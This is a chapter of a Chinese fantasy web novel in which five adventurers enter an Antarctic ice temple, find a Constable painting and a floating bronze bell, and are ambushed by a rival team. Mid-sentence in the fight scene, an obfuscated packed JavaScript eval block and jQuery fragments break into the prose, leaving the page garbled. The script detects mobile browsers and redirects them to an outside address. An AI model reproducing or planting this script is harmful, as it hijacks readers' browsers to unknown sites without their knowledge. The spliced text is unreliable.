238.极地之下
作品:《请在我的废墟里爱我》 天没亮透,灰蒙蒙的,风雪小了些,寒气更重。
埃文醒来时,头疼得厉害,但眼神已经沉静。他背起鼓囊囊的大包:“走吧,赶在屠宰场前面。”
五人收拾营地,跟上。
冰廊的入口隐藏在一道冰裂底部,被垂挂的冰帘半掩着。不仔细看,只会以为是普通的冰壁。埃文扒开冰帘,里面是一条隧道入口,寒气扑面而来。
“就是这里。”埃文站在入口,回头看向五人,“记住我的话。听到任何铃铛声,跑。”
说完,他弯腰钻了进去。
隧道起初很窄,需要侧身通过。走了约莫十几米,豁然开阔,进入一条高大的天然冰廊。廊顶极高,两侧冰壁光滑如镜,埃文脚步不停,死死盯着前方。
“跟紧我的脚印,一步也别错。”他紧张道,“走错了,可能会引动别的东西。”
没人敢大意。五人紧紧跟着埃文,随歌甚至下意识地踮着脚,恨不得飘过去。
冰廊不断有岔路,有些是死路,有些通向更幽深的暗道。埃文每次都毫不犹豫地选择一条,像是脑中有一张精确的地图。
走了大约半小时,前方出现了一扇门。
那是一扇金属门。门上只有简单的机械门闩,已经锈死。门缝里透出微弱的光。
埃文在门前停下,指着门:“这里就是分界线。门后,就是神殿的外围区域。我只能送你们到这里。”
他拿出一个小巧的破拆工具,“咔哒”一声,门闩被剪断。
埃文用力推开厚重的金属门,阴冷的空气涌出。门后,是一条天然冰窟通道,两侧冰壁高达数十米,冰晶凝结成无数奇形怪状的簇丛,在手电光下折射出迷离梦幻的幽蓝光芒,美得令人窒息。
“南极神殿。”埃文望着通道深处,“就在那后面。地图只能到这里了。后面的路,靠你们自己。”
他从怀里摸出一个小布袋,倒出几颗散发着淡淡药草味的丸子,分给每人一颗:“含着,能提神,抗幻觉。这里……容易产生幻觉。”
五人接过丸子含在口中,一股清凉直冲脑门。
埃文后退一步,站在门外的冰廊里,看着他们:“我等你们回来。”
他没说如果回不来怎么办。
江意对他点了点头,第一个迈步,踏入了门后。冬逢初紧随其后,接着是初与序、景明垂,最后是随歌,他回头看了一眼站在门外的埃文,张了张嘴,最终还是什么都没说,转身跟了进去。
金属门在他们身后,被埃文缓缓关上。
巨大的冰窟看不到顶,冰面下流淌着幽蓝的微光,将整个空间映照得如同海底龙宫。心跳声在这里都显得突兀响亮。
脚下是平整光滑的冰面,延伸向前方。远处可见一些由黑石垒砌的建筑,样式古老,甚至不像是人类已知的任何文明风格。
五人小心翼翼前行,走了大约十分钟,前方冰窟一侧的冰壁上,出现了一个相对平整的凹陷区域。凹陷内,竟然挂着一幅画。
是的,一幅画。装裱在精致的金色画框里,画布陈旧,颜色却意外地保存完好。显得格格不入,诡异莫名。
画面上是宁静的乡村风景:一辆装满干草的马车正缓缓驶过浅滩,河水映着天空,树木葱郁,远处是教堂的尖顶和农舍。阳光明媚,充满田园诗意。
“这是……”江意停下脚步,眉头微蹙。
“你认识?”随歌凑过去,好奇地问。
江意点了点头,开口道:“《干草车》。英国画家康斯太勃尔的作品,1821年左右完成。描绘的是英格兰萨福克郡的乡村景色。真迹应该收藏在伦敦国家美术馆。”
一幅十九世纪的英国风景画,出现在南极冰层深处的诡异神殿里?
“副本的……恶趣味?”随歌干笑一声,心里却有点发毛。
初与序的目光落在画框边缘,那里有一行几乎看不清的小字,似乎是后来添加上去的,墨迹暗红:
[Wie die Zeit vergeht, bleibt die Gier dieselbe.]
(时光流逝,贪婪依旧。)
“是德国人留下的。”冬逢初说,“也许是警示来南极的后人。”
他们没有过多停留,继续向前。
冰窟越来越开阔,那些黑石建筑也越来越清晰。它们散布在冰面上,大多低矮,没有窗户,只有窄小的入口。有些已经半塌,被冰层覆盖。
穿过这片石头建筑群,前方冰窟中央,出现了一片圆形区域。地面不再是冰,而是黑色石板。石板中央,是一个高出地面约半米的圆形石台。
石台古朴粗糙,上面静静地悬浮着一样东西。青铜质地,表面布满暗红色、仿佛流动的刻痕。
——血誓铃。
它就那样悬浮在石台上方,缓缓自转。幽蓝的微光照在它身上,那些暗红刻痕似乎活了过来,随着转动明明灭灭。
五人停在石板区域边缘,江意快速观察四周环境,淡淡道:“没有陷阱,但能量场异常,以石台为中心。”
“屠宰场的人不在?”随歌环顾四周,空荡荡的。
就在江意准备迈步上前,探查石台和铃铛周围能量时——
“啪啪啪……”
清脆的鼓掌声响起,掌声来自他们侧后方,一座半塌的石屋屋顶。
五人循声望去,不知何时,那里多了一个人。
黑色冲锋衣,脸上覆盖着黑色的面具,悠闲地坐在倾斜的石屋顶上,一只腿曲起,手肘搭在膝盖上,仿佛在看一场好戏。
“精彩,精彩。”他戏谑,“多亏了你们,我们才这么快就找到这里了。果然没让我失望。”
首领看向初与序,“初小姐,我们又见面了。昨天的礼物,还喜欢吗?”
初与序冷冷地看着他。
“喜欢你个大头鬼!”随歌气不打一处来,“你是蛔虫吧,怎么哪都有你?”
首领从石屋顶跃下,落地无声。他身后,五个人无声走出,站位散开好封住石板区域的入口。
其中,有一个高壮的女人;一个身段看上去异常柔软的女人;一个体格健壮的平头男人;一个穿着机械服的老头;还有一个矮个子。
“我们有好长一段时间都在研究你们的队伍和成员。”首领说道,“配合不错,可惜,今天到此为止。”
话音未落,高壮女人和机械服老头同时跃起。
女人低吼一声,径直冲向江意。老头则双手虚按地面,周围的石块瞬间悬浮起来,快速变形组合,凝聚成数个锯片,金属链球,和一面厚重盾牌,呼啸着朝景明垂和江意砸
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136460|177773||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
去!这些机械造物显然经过特殊处理,对能量场有极强干扰性,江意试图展开的重力场刚一接触,效果便大打折扣!
同时,身形柔软的女人忽然贴地滑行,速度奇快,她手臂诡异拉长,五指成爪,直指随歌。
“你的对手是我,小哥哥~”她声音黏腻。
“我靠!你别过来啊啊啊!!!”随歌头皮发麻,手中竹扇“唰”地展开,凛冽的气流卷向对方。
而首领和平头男人则如同两道闪电,直扑初与序和冬逢初。
“去抢铃铛!”江意闪避着高壮女人的冲撞和漫天飞舞的机械造物,喝道。
话落,屠宰场队伍中那个一直没动的矮个子,猛地滑向石台,伸手就抓向悬浮的血誓铃。
景明垂手指一抬,控制着琴弦飞去,试图阻拦。然而,那矮个子一扭,避开琴弦。他枯瘦的手指,触碰到了血誓铃。
嗡——!
一声震鸣以血誓铃为中心猛地扩散开来,直击灵魂!
所有人都感觉心脏像是被无形的手攥了一下,动作齐齐一滞。矮个子闷哼一声,手指触电般缩回,但铃铛已被他抓在手中!他毫不犹豫,转身就朝着深处跑去。
屠宰场剩余几人立刻行动,将他们死死围住,防止他们追击铃铛。
“别急。”首领嘲弄道,“这才刚刚开始,铃铛没那么好拿。”
五人被突如其来的合击打乱了片刻,但很快就调整好状态,冬逢初长剑一划,逼退平头男人,与初与序迅速汇合。江意将重力作用在高壮女人脚下石板,让她一个踉跄。景明垂控制着琴弦专挑机械造物薄弱处切割。随歌将竹扇扇得连飞,寒风裹着冰碴,扰乱了敌方的节奏。
他们竟硬生生稳住了阵脚,甚至隐隐有反压之势。
“啧,麻烦。”首领冷哼一声。
就在此时,随歌趁着对手被景明垂的琴弦逼退的瞬间,竹扇猛地在身前一合,猛地钻了出去!
“我去追铃铛!”他大喊一声,身影已朝着矮个子消失的方向冲去。
“拦住他!”平头男人喝道。
但已经晚了。随歌速度本就不慢,加上队友有意无意的掩护,瞬间就冲出了包围圈。
首领眼中寒光一闪,猛地抬手,对着冰窟穹顶某个方向,屈指一弹,一缕黑色水箭命中穹顶一根粗大的冰棱根部!
只听“咔嚓!”一声,那根冰棱应声断裂。
然后,整片冰窟穹顶以冰棱为中心,细密的裂纹蔓延开来。接着,更大范围的冰层开始崩塌!
“定向爆破点!”江意脸色一变。
“躲开!”初与序一把将冬逢初扑向石台后方一块巨石。
下一秒,无数积雪和碎石从穹顶砸落,整个冰窟剧烈颤抖,冲击波如同海啸般向四周席卷。
所有人都被这天地之威冲击得站立不稳,初与序只觉一股巨力狠狠撞在前胸,与冬逢初一同被震得重重摔在石板上,又滚出好几米才停下。五脏六腑仿佛都移了位,喉头一甜。
冬逢初闷哼一声,将她护得更紧,用身体挡住了大部分飞溅的碎冰。
其他方向也传来惊呼和撞击声。江意、景明垂,以及屠宰场的人,全都被冲得七零八落。
一块巨大的冰岩砸落在石台区域与外界连接的通道上,将整个空间一分为二。

